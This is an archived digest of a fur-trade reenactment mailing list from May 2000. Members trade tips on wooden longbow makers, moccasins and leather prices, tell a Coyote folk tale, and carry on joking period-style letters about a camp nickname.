The poor man has grown feeble and is "down in the back."  The company only
maintains his present postition for his leadership skills, not his work
ethic.  Such an onslaught upon his being could only result in great loss to
the Company.  In this wild and foreboding country, we must protect our
interests at all costs.

Le Vieux Reynard

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From: "Crooked Hand" <[e-mail]>
Subject: MtMan-List: Fw: Question
Date: 01 May 2000 23:32:47 -0400

Can somebody advise my friend on the accessability of bows as he asks!
----- Original Message -----
Sent: Monday, May 01, 2000 9:28 AM


> Hey there,
> Hope you had a good weekend.  We had Arlynn's parents down all
> weekend but they took off Sunday.  Need another weekend to relax.
>
> Did you once tell me that you knew someone that made wooden
> longbows?  I'm looking for something in the lower pull range, 35#-40# ,
for
> Arlynn to shoot in the back yard.  Found a Martin longbow for about $150,
> but not sure that it's all wood.  I remember there was a sutler at Alifia
> selling em but don't know who it was.
>
> If you know of anyone please let me know.
>
> Talk to you later,
>
> CB
>


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From: "Roger Lahti" <[e-mail]>
Subject: Re: MtMan-List: the Jefferson Peace Medal
Date: 01 May 2000 19:35:12 -0700

The Widow Julia

Dear lady,

You have put my mind to rest. A couple of points of clarification if I may?

This "Magpie" fellow is not some young and callow youth who has not yet
learned his place. He is an old reprobate hide dealer from Alaska who has
come down here to dispoil our waters and women. Be forewarned.

"Old Blue" seems not to have any problem getting the ladies of the upper
Willamette R. to let him place Chocolate on their precious tongues. He seems
to have them eating out of his hand as it were.

The Only People who need fear the inhabitants of " Hard Core Elitist
Bastards' Estates" are the absentee fathers who made them so. Our love and
admiration for the Ladies is boundless and without reservation. You have
nothing to fear from us. Please join us for tea. I remain.....


With utmost affection,
YMOS
Capt. Lahti'



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From: Lee Newbill <[e-mail]>
Subject: Re: MtMan-List: Fw: Question
Date: 01 May 2000 20:52:16 -0700 (PDT)

On Mon, 1 May 2000, Crooked Hand wrote:
> Can somebody advise my friend on the accessability of bows as he asks!
>
> > Did you once tell me that you knew someone that made wooden
> > longbows?  I'm looking for something in the lower pull range, 35#-40# ,

Saxon Archery, Potlatch Idaho, 208-875-0408

They're not flintlocks, but they are works of art.

Your Most Obedient Servant...

Lee Newbill of Viola, Idaho
Clerk of the Hog Heaven Muzzleloaders
http://www.geocities.com/~lnewbill


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From: Ronald Schrotter <[e-mail]>
Subject: MtMan-List: Other mocs
Date: 01 May 2000 20:57:16 -0700 (PDT)

Gentlemen [and ladies]  all this talk of Dyer mocs,
quality and lifespan not withstanding, has brought to
mind the mocs that I favored, but have not seen for
quite some time.  Is Desert Sun still in business, and
does anyone know a source for them?  The soles were as
thick as Dyers, but the tops were of soft leather, and
so no burden in the mornings.  Thanks, Dog, Gabe's
Hole Brig.

__________________________________________________
Do You Yahoo!?
Send instant messages & get email alerts with Yahoo! Messenger.
http://im.yahoo.com/

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-------------------------------------------------------------------------------

From: "Roger Lahti" <[e-mail]>
Subject: Re: MtMan-List: the Jefferson Peace Medal
Date: 01 May 2000 21:27:04 -0700


----- Original Message -----
Sent: Monday, May 01, 2000 6:50 PM


The respected Le Vieux Reynard, Scout extraordinare'

Dear Sir:

Your thoughtfulness is much appreciated and though I have my men safely away
from the Ladies du Frog for another year,  and well on their way up river to
the hunting grounds, I will fear for their health at the tender hands of the
Dusky Ladies of the upper Columbia District, lest I am in possesion of your
most urgently needed supplies at the earliest. My only hope is that the
shipment arrives in time, in good condition and adequate quantitiy. The
later being my most highly held concern. I remain......

For more Beaver and fewer rules,
YMOS
Capt. Lahti'

Aux Aliments de Pays!



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From: [e-mail] (Bill Cunningham)
Subject: Re: MtMan-List: Fw: Question
Date: 01 May 2000 23:12:56 -0600

You might try Walt Foster who is on this net. Or Valley Traditional Archery
or Orion Archery, both of whom have web sites. Be careful of sutlers selling
bows. Wade Colter, whom Walt knows and sees once in a while, also makes fine
archery equipment. You might also get a copy of Primitive Archery magazine
and check out the ads.
Bill C
-----Original Message-----


>Can somebody advise my friend on the accessability of bows as he asks!
>----- Original Message -----
>From: "Baker-1, Craig" <[e-mail]>
>To: "Mark T - CHand" <[e-mail]>
>Sent: Monday, May 01, 2000 9:28 AM
>Subject: Question
>
>
>> Hey there,
>> Hope you had a good weekend.  We had Arlynn's parents down all
>> weekend but they took off Sunday.  Need another weekend to relax.
>>
>> Did you once tell me that you knew someone that made wooden
>> longbows?  I'm looking for something in the lower pull range, 35#-40# ,
>for
>> Arlynn to shoot in the back yard.  Found a Martin longbow for about $150,
>> but not sure that it's all wood.  I remember there was a sutler at Alifia
>> selling em but don't know who it was.
>>
>> If you know of anyone please let me know.
>>
>> Talk to you later,
>>
>> CB
>>
>
>
>----------------------
>hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


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-------------------------------------------------------------------------------

From: "Roger Lahti" <[e-mail]>
Subject: Re: MtMan-List: the Jefferson Peace Medal
Date: 01 May 2000 22:15:45 -0700


----- Original Message -----
Sent: Monday, May 01, 2000 7:41 PM


Such an onslaught upon his being could only result in great loss to
> the Company.  In this wild and foreboding country, we must protect our
> interests at all costs.
>
> Le Vieux Reynard

Dear Sir and Madam,

I regret to inform you that my good wife, mistress Lahti has come into
possesion of our correspondence and has called for the local Lutheran
Minister to hasten to this house. She is at the moment applying Biblical
Verse to my defenseless scalp and refusing me any further intercourse (in
the business sense of course) with the inhabitants of Frog Holler. I fear
for the loss of income to the Company should I fail to reverse her
suspisions. She does not understand these things and I fear it will take
some several weeks wages until she does.

Regretfully, I must bid this most entertaining exchange adeu'. I
remain.......

Chastized but still,
YMOS
Capt. Lahti'




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From: <[e-mail]>
Subject: Re: MtMan-List: the Jefferson Peace Medal
Date: 02 May 2000 05:57:58 -0600

Julia wrote:

> Le Vieux Reynard,
>
> I was speaking of chocolate candy, not the filth that you wallow in.
> Though,  I can understand that to someone of your low caliber  the
> two could be confused.  For shame,  sirrah!
>
> >   Debilitating disease does not fill the coffers.
> >
> >As the nesting season is full upon us, it seems that you might have your
> >hands full coping with the local natives.  Use them with disgression and
> >honor, as I have no further use for them.  The Eastern ladies have been tamed
> >for some time.
> >
> >Le Vieux Reynard, scout
> >Vermilion Co. Rangers

didn't she say she was in a lather !!!!




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From: Angela Gottfred <[e-mail]>
Subject: Re: MtMan-List: moccasin liners
Date: 02 May 2000 08:15:28 -0600

Larry Huber <[e-mail]> wrote:
>I have always appreciated Angela's postings.  She is knowledgeable, polite
>and always "on focus" to the purpose of this site.
Thank you for the kind words, Larry.

>I didn't want newcomers starting out thinking that what we do requires no
>sacrifice to comfort.
I hate to be so blunt, but why not? Most newcomers want to have fun, and
sore feet are not fun. If they have fun in the beginning, perhaps later
their interest will grow to the point where they're willing to take some
chances with their comfort to pursue their new hobby.

We're all in this hobby for different reasons, and we follow our common
goal of learning about history in different ways. There is no "one true
path", yet we share the same destination.  Godspeed on your journey, Larry;
although I admire your path, it is not mine.

>The distance between text(what
>you read) and turf(what you experience) is vast.

Some things that fur traders did can only be experienced today through
reading texts, such as the horror of watching a smallpox epidemic kill
everyone you trade with;  finding that your neighbours have eaten their
horses, their dogs, and finally their dead friends; watching your twin
children die within days of their birth; travelling a thousand miles by
canoe every summer--half of it upstream!--for three years straight.

>Your knowledge is the
>richer if you are able to narrow that gap [between 'text' and 'turf'].

I agree completely. But there's more than one way to follow this hobby, and
not everyone is able to take the route they'd like. My interest is in
research and public interpretation, so I spend most of my reenacting time
at historic sites talking to visitors, and pausing only long enough to put
my frozen buffalo stew into my handmade reproduction copper kettle.

Your humble & obedient servant,
Angela Gottfred

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From: Joe Brandl <[e-mail]>
Subject: Re: MtMan-List: the Jefferson Peace Medal
Date: 02 May 2000 13:59:08 -0600

Come on folks, keep the personal letters to each others emails, I
find them interesting but enough is enough. Even in historical text,
these letters are monolizing the entire discussion. Please,
discontinue or use personal email

Joe
Have a look at our web site @ www.dteworld.com/absarokawesterndesign/
Call us about our tanning, furs & leather and lodgepole furniture 307-455-2440
New leather wildlife coasters and placemats - ther're great!!

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From: "Roger Lahti" <[e-mail]>
Subject: Re: MtMan-List: the Jefferson Peace Medal
Date: 02 May 2000 13:07:42 -0700

Joe,

Lighten up my friend. There was no other discussion to speak of and we
knocked it off almost a day ago. It doesn't happen too much and not too
often but if you don't let out some of that BS once in a while, you break
wind too loud. <G>

So what have you been doing with yourself of late? Made any camps? Spring
turkey hunting? Read any good books? I remain.....

YMOS
Capt. Lahti'

----- Original Message -----
Sent: Tuesday, May 02, 2000 12:59 PM


> Come on folks, keep the personal letters to each others emails, I
> find them interesting but enough is enough. Even in historical text,
> these letters are monolizing the entire discussion. Please,
> discontinue or use personal email
>
> Joe
> Have a look at our web site @ www.dteworld.com/absarokawesterndesign/
> Call us about our tanning, furs & leather and lodgepole furniture
307-455-2440
> New leather wildlife coasters and placemats - ther're great!!
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>



----------------------
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-------------------------------------------------------------------------------

From: "jdearing" <[e-mail]>
Subject: Re: MtMan-List: Fw: Question
Date: 02 May 2000 16:55:50 -0500


> > Can somebody advise my friend on the accessability of bows as he asks!
> >
> > > Did you once tell me that you knew someone that made wooden
> > > longbows?  I'm looking for something in the lower pull range, 35#-40#
,
>
Try ths folks on the BBS at this URL;
 http://www.bowsite.org/stickbow/tf/threads.cfm?forum=19,1,4
quite a few wood bowmakers there and they are not above selling a good bow
at a reasonalbe price.

Might find something here too. http://www.archeryauctions.com/
J.D.


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From: [e-mail] (Bill Cunningham)
Subject: Re: MtMan-List: Fw: Question
Date: 02 May 2000 16:43:42 -0600

I believe I did give him a couple of stick bow maker's names - to wit - Walt
Foster and Wade Colter.
-----Original Message-----


>
>> > Can somebody advise my friend on the accessability of bows as he asks!
>> >
>> > > Did you once tell me that you knew someone that made wooden
>> > > longbows?  I'm looking for something in the lower pull range, 35#-40#
>,
>>
>Try ths folks on the BBS at this URL;
> http://www.bowsite.org/stickbow/tf/threads.cfm?forum=19,1,4
>quite a few wood bowmakers there and they are not above selling a good bow
>at a reasonalbe price.
>
>Might find something here too. http://www.archeryauctions.com/
>J.D.
>
>
>----------------------
>hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>


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From: [e-mail] (Bill Cunningham)
Subject: Re: MtMan-List: the Jefferson Peace Medal
Date: 02 May 2000 16:47:56 -0600

Hey, Joe, what would a half hide of latigo (weight like in the pictures I
sent) and some of those good splits cost me?
Bill
-----Original Message-----


>Come on folks, keep the personal letters to each others emails, I
>find them interesting but enough is enough. Even in historical text,
>these letters are monolizing the entire discussion. Please,
>discontinue or use personal email
>
>Joe
>Have a look at our web site @ www.dteworld.com/absarokawesterndesign/
>Call us about our tanning, furs & leather and lodgepole furniture
307-455-2440
>New leather wildlife coasters and placemats - ther're great!!
>
>----------------------
>hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


----------------------
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From: "John C. Funk, Jr." <[e-mail]>
Subject: Re: MtMan-List: the Jefferson Peace Medal
Date: 02 May 2000 17:00:50 -0700

This stuff is gett'n hard to read on a full stomach.. Tends to want to
empty....in a hurry.
Ralph...



----- Original Message -----
Sent: Monday, May 01, 2000 6:30 PM


> Dearest, Captain Lahti,
>
> Sir, Your kind words do find a place of comfort in my heart,  they
> are gratefully accepted.
> Please, allow me to  humbly beg your pardon for my misunderstandings.
> I,  being swallowed up with  grief and despair, have found myself
> with an addled mind.
>
> I  pray  that you  put down your cane and spare the young master
> Steve's  backside on my account.  Being as addled as I have become,
> I would not have one moments rest for fear that I caused a great
> unjust act to fall upon this good man that has but only one real
> fault, that of being a  "Magpie".
>
> I say God speed,  to your fine ladies of the chocolate  dip.   Next
> year let them have their tea and crumpets as well.   For in truth, I
> tell you,  not only would I enjoy a good cup of tea,  but  I would
> also  swim even the coldest of streams,   thereupon, I would count
> myself of great fortune if that splendid gentleman known as   "Old
> Blue"  were to  place a bit of chocolate  upon my tongue.   This
> being a sentiment,  I am quite sure,  is shared by the ladies of your
> camp.
>
> To you Sir,  I offer my congratulations on taking the shooting match,
> well done.   I dare say, that there will  be no lack of meat hanging
> on your porch his winter.
>
> I closing, my dear Capt.  I would ask that you  use  great caution in
> your pursuits in a place with a name like  "Hard Core Elitist
> Bastards' Estates"  that you did make mention of in your last letter,
> for the name alone, does strike the fear of God deep within my soul.
>
> I bid you a gracious farewell,
> The widow Julia ( of addled mind and empty larder)
>
>
>
> >The Widow Julia,
> >
> >My dear lady, I am shamed with the knowledge that I have seemingly
included
> >your Loveliness in any grouping of scoundrels. I would never knowingly
place
> >a person of your obvious gentle nature in such company. Now this Steve
> >fellow, he is another story. A scoundrel in the making and should I find
him
> >unencumbered with his entourage of fellow scoundrels, as I did this past
> >week camped out on "Hard Core Elitist Bastards' Estates" ( a Gated
> >Community), located on the south side of the Larson Arm, near but not
quite
> >adequately separate from the "Regular Gathering At Frog Holler", and thus
> >totally outnumbered, I shall take the cane to him unmercifully and
recover
> >your property postwith. I found him to be of spurious character and have
> >evidence to show my case.
> >
> >It has been widely known that my good and honorable Camp Mate, one "Old
> >Blue", AKA. Tom Crooks and I have historically offered chocolate to any
fair
> >maiden that would brave the icy depths to swim to our side. In years past
we
> >have only had to give out small amounts of chocolate. This year as we
spent
> >the sunny (quit abnormal for this location) day contemplating the fine
> >shooting we had done on the trail that morning, (I found myself modestly
> >accepting the first place prize for the Trade Gun Shoot and my erstwhile
> >companion equally found to his embarrassment that he had taken First in
the
> >Rifle Shoot) our attention was drawn to a ruckus coming from the main
camp
> >At Frog.
> >
> >To our amazement and my dismay, we beheld two large "War Canoes" lashed
> >together and coming our way full of lovely women chanting, "Chocolate,
> >Chocolate, Chocolate", to the rhythm of their war clubs thumping on the
> >gunnels of the canoes. I hurriedly assembled my wholly inadequate supply
of
> >Milk  Chocolate onto a plate and prepared to greet the approaching
Lovely's.
> >Contrary to the rules, they all arrived dry<clothed, but  hungry for
> >Chocolate, which I alone was prepared to provide. I was able to extract a
> >hug from each one and perhaps a second squeeze from a couple before they
> >announced that next year they would expect the same along with Tea and
> >Crumpets. I got no help from the rest of the scoundrels camped with me
other
> >than to see my brethren share in the warmth and beauty that shown from
the
> >ladies unto their departure.
> >
> >Other than drink our rum, burn our wood, eat our food and share in our
good
> >fortune with the visiting ladies, this Steve fellow has only one quality.
He
> >will pick up anything shinny and think it worth keeping. I propose he be
> >called "Magpie" for his propensity to go for the shinny objects. What say
> >the 'Body"?
> >
> >As for me, Dear Lady, may I extend my most heart felt sympathy at your
lose
> >and my affections to you in the most honorable way. To suggest that you
or
> >any one of the fairer sex could be considered a scoundrel is cause to
take
> >up the sword. My best wishes to you and your family. I remain.....
>
>
> >Most Affectionately
> >YMOS
> >Capt.
>
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>


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-------------------------------------------------------------------------------

From: "John C. Funk, Jr." <[e-mail]>
Subject: Re: MtMan-List: Dyer web site...
Date: 02 May 2000 16:58:21 -0700

Miss Victoria,
I know John from a while back and totally forgot about his talents with a
needle.  Shell definitely look him up.  My thanks for reminding me.
John Funk


----- Original Message -----
Sent: Monday, May 01, 2000 3:57 PM


> Mr. Funk,
>
> John, Stichin' Scotsman, who is AMM, recently made me a pair of
>  high top, side seam moccs.  I wore them to my first Rendezvous just
>  a few weeks ago here in Texas.  I had some special needs beins
>  I was a ballerina for twenty years and just about ruined my feet.
> John did a wonderful job making the moccs around my requirements.
> I know where my second pair of moccs will come from! John specializes
> in custom  handsewn goods for the American Fur Trade Era, which includes
> clothes for men and the ladies---all authentic.  He can
> fabricate whatever you need.
>
> http://www.stichinscotsman.com/
>
> As we say here in Texas, I hope you give him a shout.
> Texan
>
>
> On Sun, 30 Apr 2000 19:42:24 -0700 "John C. Funk, Jr."
> <[e-mail]> writes:
> > Ole.....
> > I'm looking for anyone that can fabricate a moc.  better than
> > I...and that
> > don't say much.  If there's a better (authentic) "mouse trap", I'll
> > look at
> > it (them).
> > John Funk
> >
> >
> >
> > ----- Original Message -----
> > From: Ole B. Jensen <[e-mail]>
> > To: <[e-mail]>
> > Sent: Sunday, April 30, 2000 7:55 PM
> > Subject: Re: MtMan-List: Dyer web site...
> >
> >
> > > John,
> > > Hate to barge in on this thread, but I have heard that there is
> > another
> > > company making a mocasin like Dyer's? If someone knows who they
> > are and
> > how
> > > to get a hold of them please post your info.
> > > YMOS
> > > Ole # 718
> > > ----------
> > > >From: manbear <[e-mail]>
> > > >To: [e-mail]
> > > >Subject: Re: MtMan-List: Dyer web site...
> > > >Date: Sun, Apr 30, 2000, 10:17 AM
> > > >
> > >
> > > >I just checked Dyer's ad in Smoke & Fire and didn't see one
> > listed.
> > > >
> > > >Manbear
> > > >
> > > >"John C. Funk, Jr." wrote:
> > > >
> > > >> Anyone know if Dyer has a web site?
> > > >> John Funk
> > > >>
> > > >> ----------------------
> > > >> hist_text list info:
> > http://www.xmission.com/~drudy/mtman/maillist.html
> > > >
> > > >
> > > >----------------------
> > > >hist_text list info:
> > http://www.xmission.com/~drudy/mtman/maillist.html
> > > >
> > >
> > > ----------------------
> > > hist_text list info:
> > http://www.xmission.com/~drudy/mtman/maillist.html
> > >
> >
> >
> > ----------------------
> > hist_text list info:
> > http://www.xmission.com/~drudy/mtman/maillist.html
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>


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-------------------------------------------------------------------------------

From: [e-mail]
Subject: Re: MtMan-List: the Jefferson Peace Medal
Date: 02 May 2000 18:39:59 -0600

Capt Lahti,

If this Steve fellow is as much of a scoundrel as you make out, and if he
has a propensity for shiny objects, I think that "Raccoon" is a somewhat
more fitting moniker. I prefer to reserve "Magpie" for someone who flits
around camp constantly chattering and being obnoxious.
Anyway, I enjoyed your posting...


"Teton" Todd D. Glover
Poison River Party Pilgrim

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From: "Roger Lahti" <[e-mail]>
Subject: Re: MtMan-List: the Jefferson Peace Medal
Date: 02 May 2000 19:07:45 -0700




> This stuff is gett'n hard to read on a full stomach.. Tends to want to
> empty....in a hurry.
> Ralph...


John,

If that is the case, then why are you quoting it, copying it and sending it
out again. It was supposed to have died a natural death last night. You know
where the delete button is? <G> I remain....

YMOS
Capt. Lahti'



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From: "Roger Lahti" <[e-mail]>
Subject: Re: MtMan-List: the Jefferson Peace Medal
Date: 02 May 2000 19:13:47 -0700

Teton,

Thanks. He has vague aspirations of some day being invited in. "Old Blue"
suggested "Magpie" because he was attracted to shiny objects of little value
(other than my copper work of course <G>) and it did seem fitting. Perhaps
"Raccoon" might work too. Nothing is forever and I've only shared one camp
with him so we will see. You might get to meet him some day soon and then
you can judge for yourself.

The more I think about it, the better "Magpie" fits. He does fly  around the
country jabbering at the ground, literally! <G> I remain.....

YMOS
Capt. Lahti'



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From: [e-mail]
Subject: Re: MtMan-List: the Jefferson Peace Medal
Date: 03 May 2000 02:55:20 EDT


In a message dated 5/2/00 7:14:41 PM, [e-mail] writes:

<< The more I think about it, the better "Magpie" fits. He does fly  around
the
country jabbering at the ground, literally! <G> I remain.....

YMOS
Capt. Lahti'
 >>

Haaaaaa!  Magpie....well guess I've been called worse..... 'Tis true that I
fly and the Magpie is a rather handsome critter..... but still I was thinking
along the lines of "Great Silver Haired Soaring Eagle.....of the Far North
West"  ....might get a little  respect from the riffraff I'm running with! <G>

Ymos,
Steve

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From: [e-mail]
Subject: Re: MtMan-List: the Jefferson Peace Medal
Date: 03 May 2000 03:10:26 EDT

Steve
  Respect is what they'll give ya at your grave side after they have robbed
ya of all your worldly goods is more like it.
                                   See ya on the trail Magpie
                                       Crazy Cyot
                         PS. Magpies do fly but watch your landings.

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From: [e-mail]
Subject: MtMan-List: Coyote learns to fly
Date: 03 May 2000 04:45:13 EDT

Coyote was walking along one day and he looked up into the sky and saw Eagle
flying overhead. He thought, "I wish I could fly like Eagle, then man would
look up to me, for I could fly up to the Grandfather and deliver him man's
prayers!" Then he thought, "It cannot be that hard, for Eagle Flies, Magpie
Flies, even Owl flies! So I too can learn to fly!"
  Coyote stared to run, and flap his arms, and jump up and down! While he was
doing this Magpie saw him and started to laugh, and said, "What are you
doing, Coyote?" "I am trying to learn to fly like Eagle!" "Foolish Coyote,
you cannot learn to fly that way. Have you not seen the little birds in the
trees learn to fly? They are high in the trees and the mother pushes them out
of the nest. That is how they learn to fly. You cannot do it from the ground,
you must be high in the trees like the birds."
   Coyote thought, "This makes sense." So he climbed up into the tree where
Magpie was. "Magpie this is too high! I cannot jump from here!" Just then
Magpie pecked him in the rump and he jumped out of the tree. He flapped his
arms and flapped his arms and he hit the ground with a thump!
  Coyote was limping around and whining and crying about Falling so far, then
Magpie said, "Coyote, you almost did it. If you had just kicked your legs,
Flapped your arms a little harder and been a little higher, you would have
flown!" Coyote said, "Are you sure of this?" Magpie said, "Do I not fly? Take
my word for it. If you will climbed to the top of this cliff, I think it is
high enough so that you would learn to fly!"
  So Coyote climbed the cliff. Then he looked down over the edge, and said,
This is much to high just then Magpie pecked him in the rump, and off the
cliff he went, kicking his legs and flapping his arms as hard as he could. He
fell and he fell, and hit the ground with a great SPLAT! That is when Coyote
learned that coyotes do not fly, and they land even worse!
                                             See ya on the ground
                                              Crazy Cyot

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From: [e-mail]
Subject: MtMan-List: L&C beads
Date: 03 May 2000 12:01:19 EDT

Hallo the List,

I received this note not long ago from an interpreter at the L&C Center at
Great Falls concerning the L&C beads....  I've gotta stop picking up these
shiny things...<G>

<<<<<<Preston Miller, founder and owner of  Four Winds Trading Post, assures
me
that an unnamed trader labled the bead as the "Lewis & Clark bead" and
was successful in moving his stock. The story of the "Lewis and Clark
bead" has been printed in several bead and trade books as fact without
supporting documentation. If there is support for this Italian bead going
up river with Lewis and Clark, it is not in the inventory published by
Jackson or Moulton.  When there are few images and incomplete
descriptions, history and myth become difficult to separate. I was not on
the expedition, but today we are placing the tricornered hats, coonskin
caps, and the "Lewis and Clark bead" as important myths surrounding the
Corps of Discovery.>>>>

Ymos,
Steve

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From: [e-mail]
Subject: Re: MtMan-List: Coyote learns to fly
Date: 03 May 2000 12:05:03 EDT


In a message dated 5/3/00 1:46:07 AM, [e-mail] writes:

<< That is when Coyote
learned that coyotes do not fly, and they land even worse!
                                             See ya on the ground
                                              Crazy Cyot >>

Haaaa! Good story..... I figure, if nothing falls off the plane at touch
down, I'm doin OK....<G>

Ymos,
Steve

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-------------------------------------------------------------------------------

From: Joe Brandl <[e-mail]>
Subject: Re: MtMan-List: the Jefferson Peace Medal
Date: 03 May 2000 10:16:11 -0600

Actually  a dry reading but facinating book is "Guns, Germs and
Steel" I highly recomend it

Joe
Have a look at our web site @ www.dteworld.com/absarokawesterndesign/
Call us about our tanning, furs & leather and lodgepole furniture 307-455-2440
New leather wildlife coasters and placemats - ther're great!!

----------------------
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-------------------------------------------------------------------------------

From: Joe Brandl <[e-mail]>
Subject: Re: MtMan-List: the Jefferson Peace Medal
Date: 03 May 2000 10:22:00 -0600

Bill,

Latigo runs $4.00 sq ft, I just got some split deer and elk, smaller
pieces 4-7 sq ft in a cornmeal color. cost is $2.95 sq ft. This stuff
is really nice and will take a good smoking. some are thick enough
for moccasins

Joe
Have a look at our web site @ www.dteworld.com/absarokawesterndesign/
Call us about our tanning, furs & leather and lodgepole furniture 307-455-2440
New leather wildlife coasters and placemats - ther're great!!

----------------------
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-------------------------------------------------------------------------------

From: [e-mail] (Bill Cunningham)
Subject: Re: MtMan-List: the Jefferson Peace Medal
Date: 03 May 2000 10:37:07 -0600

Send me half a hide of latigo (needs to be supple enough to make archery arm
guards). If you have splits that are at least 20 by 28 inches, send me a
half dozen.
Thanks.
Bill
-----Original Message-----


>Bill,
>
>Latigo runs $4.00 sq ft, I just got some split deer and elk, smaller
>pieces 4-7 sq ft in a cornmeal color. cost is $2.95 sq ft. This stuff
>is really nice and will take a good smoking. some are thick enough
>for moccasins
>
>Joe
>Have a look at our web site @ www.dteworld.com/absarokawesterndesign/
>Call us about our tanning, furs & leather and lodgepole furniture
307-455-2440
>New leather wildlife coasters and placemats - ther're great!!
>
>----------------------
>hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


----------------------
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-------------------------------------------------------------------------------

From: Victoria Pate <[e-mail]>
Subject: Re: MtMan-List: Dyer web site...
Date: 03 May 2000 18:22:49 -0500


On Tue, 2 May 2000 16:58:21 -0700 "John C. Funk, Jr."
<[e-mail]> writes:
> Miss Victoria,
> I know John from a while back and totally forgot about his talents
> with a
> needle.  Shell definitely look him up.  My thanks for reminding me.
> John Funk

You are most welcome, Mr. Funk.  And while you are catchin'
up with John, ask him about his newest addition to the family,
Ribeye, who gets bottle fed 3 pints of goat milk three times a
day, and who recently discovered that grass is quite
tasty. <G>

Victoria




>
> ----- Original Message -----
> From: Victoria Pate <[e-mail]>
> To: <[e-mail]>
> Sent: Monday, May 01, 2000 3:57 PM
> Subject: Re: MtMan-List: Dyer web site...
>
>
> > Mr. Funk,
> >
> > John, Stichin' Scotsman, who is AMM, recently made me a pair of
> >  high top, side seam moccs.  I wore them to my first Rendezvous
> just
> >  a few weeks ago here in Texas.  I had some special needs beins
> >  I was a ballerina for twenty years and just about ruined my feet.
> > John did a wonderful job making the moccs around my requirements.
> > I know where my second pair of moccs will come from! John
> specializes
> > in custom  handsewn goods for the American Fur Trade Era, which
> includes
> > clothes for men and the ladies---all authentic.  He can
> > fabricate whatever you need.
> >
> > http://www.stichinscotsman.com/
> >
> > As we say here in Texas, I hope you give him a shout.
> > Texan
> >
> >
> > On Sun, 30 Apr 2000 19:42:24 -0700 "John C. Funk, Jr."
> > <[e-mail]> writes:
> > > Ole.....
> > > I'm looking for anyone that can fabricate a moc.  better than
> > > I...and that
> > > don't say much.  If there's a better (authentic) "mouse trap",
> I'll
> > > look at
> > > it (them).
> > > John Funk
> > >
> > >
> > >
> > > ----- Original Message -----
> > > From: Ole B. Jensen <[e-mail]>
> > > To: <[e-mail]>
> > > Sent: Sunday, April 30, 2000 7:55 PM
> > > Subject: Re: MtMan-List: Dyer web site...
> > >
> > >
> > > > John,
> > > > Hate to barge in on this thread, but I have heard that there
> is
> > > another
> > > > company making a mocasin like Dyer's? If someone knows who
> they
> > > are and
> > > how
> > > > to get a hold of them please post your info.
> > > > YMOS
> > > > Ole # 718
> > > > ----------
> > > > >From: manbear <[e-mail]>
> > > > >To: [e-mail]
> > > > >Subject: Re: MtMan-List: Dyer web site...
> > > > >Date: Sun, Apr 30, 2000, 10:17 AM
> > > > >
> > > >
> > > > >I just checked Dyer's ad in Smoke & Fire and didn't see one
> > > listed.
> > > > >
> > > > >Manbear
> > > > >
> > > > >"John C. Funk, Jr." wrote:
> > > > >
> > > > >> Anyone know if Dyer has a web site?
> > > > >> John Funk
> > > > >>
> > > > >> ----------------------
> > > > >> hist_text list info:
> > > http://www.xmission.com/~drudy/mtman/maillist.html
> > > > >
> > > > >
> > > > >----------------------
> > > > >hist_text list info:
> > > http://www.xmission.com/~drudy/mtman/maillist.html
> > > > >
> > > >
> > > > ----------------------
> > > > hist_text list info:
> > > http://www.xmission.com/~drudy/mtman/maillist.html
> > > >
> > >
> > >
> > > ----------------------
> > > hist_text list info:
> > > http://www.xmission.com/~drudy/mtman/maillist.html
> >
> > ----------------------
> > hist_text list info:
> http://www.xmission.com/~drudy/mtman/maillist.html
> >
>
>
> ----------------------
> hist_text list info:
> http://www.xmission.com/~drudy/mtman/maillist.html

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-------------------------------------------------------------------------------

From: Ronald Schrotter <[e-mail]>
Subject: Re: MtMan-List: Old Saddle
Date: 03 May 2000 20:01:47 -0700 (PDT)

Wynn, any luck with the saddle pix?  Haven't seen you
on line for a few days, and was just wondering.  Dog

--- Wynn & Gretchen Ormond <[e-mail]>
wrote:
> Browsing through an antique store I found an old
> saddle. It appears to be a wooden tree without a
> rawhide wrapping. It is either rawhide or very old
> leather making up the covering. It has a sheepskin
> lining on the under side. It has the look of being
> very old and hard used. I would be hard put to find
> a horse thin and small enough to fit under it.
> Without any history behind it, can it be calculated
> how old it is? Would anyone be interested in seeing
> pics? Or interested in the saddle for that matter.
>
> By the way, it was on the suggestions made by
> Northwood that I was in the place in the first
> place. He is correct in that you can find some very
> serviceable items in such places.
>
> YMOS
>
> WY
>
>

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From: "Walt Foster" <[e-mail]>
Subject: Re: MtMan-List: Erasing Billings
Date: 03 May 2000 21:25:13 -0600

If you are interested in Lewis and Clark and the AMM way take a look at the
photos of the way it could have looked in general at www.billingsgazette.com
and look for the story Titled Erasing Billings.
Walt
Park City, MT

Also a story on Pomps Piller of Lewis and Clark building interest


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From: "Walt Foster" <[e-mail]>
Subject: Re: MtMan-List: Erasing Billings
Date: 03 May 2000 21:33:49 -0600

Click under the billings gazette logo in the upper left hand corner that
reads headlines.
Walt


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From: "Ole B. Jensen" <[e-mail]>
Subject: MtMan-List: The Stitching Scotsman?
Date: 04 May 2000 07:18:24 -0600

Victoria,
I tried to open the web site that was given in the e-mail, couldn't do it.
Is there a phone no.? or address? or could someone re enter the address and
make sure it is correct.
YMOS
Ole
----------
>From: Victoria Pate <[e-mail]>
>To: [e-mail]
>Subject: Re: MtMan-List: Dyer web site...
>Date: Wed, May 3, 2000, 5:22 PM
>

>
>On Tue, 2 May 2000 16:58:21 -0700 "John C. Funk, Jr."
><[e-mail]> writes:
>> Miss Victoria,
>> I know John from a while back and totally forgot about his talents
>> with a
>> needle.  Shell definitely look him up.  My thanks for reminding me.
>> John Funk
>
>You are most welcome, Mr. Funk.  And while you are catchin'
>up with John, ask him about his newest addition to the family,
>Ribeye, who gets bottle fed 3 pints of goat milk three times a
>day, and who recently discovered that grass is quite
>tasty. <G>
>
>Victoria
>
>
>
>
>>
>> ----- Original Message -----
>> From: Victoria Pate <[e-mail]>
>> To: <[e-mail]>
>> Sent: Monday, May 01, 2000 3:57 PM
>> Subject: Re: MtMan-List: Dyer web site...
>>
>>
>> > Mr. Funk,
>> >
>> > John, Stichin' Scotsman, who is AMM, recently made me a pair of
